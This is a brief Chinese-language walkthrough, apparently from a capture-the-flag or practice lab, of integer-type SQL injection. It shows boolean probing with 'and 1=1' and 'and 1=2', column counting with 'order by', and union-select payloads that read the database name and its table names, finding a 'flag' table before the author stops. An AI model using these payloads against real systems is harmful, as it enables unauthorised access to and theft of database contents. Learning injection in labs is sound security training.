一整数型注入
1在url地址栏中id属性後面添加
id =1 and 1=1
查看是否报错,添加后发现能正常访问,就将代码改为
id =1 and 1=2
添加代码后发现会出现报错,此时说明有sql注入点
直接进入第二步,查询字段使用:
id=1 and 1=1 order by 1
id=1 and 1=1 order by 2
id=1 and 1=1 order by 3
将数值改到3时,发现报错,此时发现表中只有两个字段
进入第三步,使用sql语句进行注入
1查询数据库名称
1 and 1=2 union select 1,database()#
发现数据库名称为sqli
2查询数据库中的表
id=1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
发现表名为flag,,,不想写了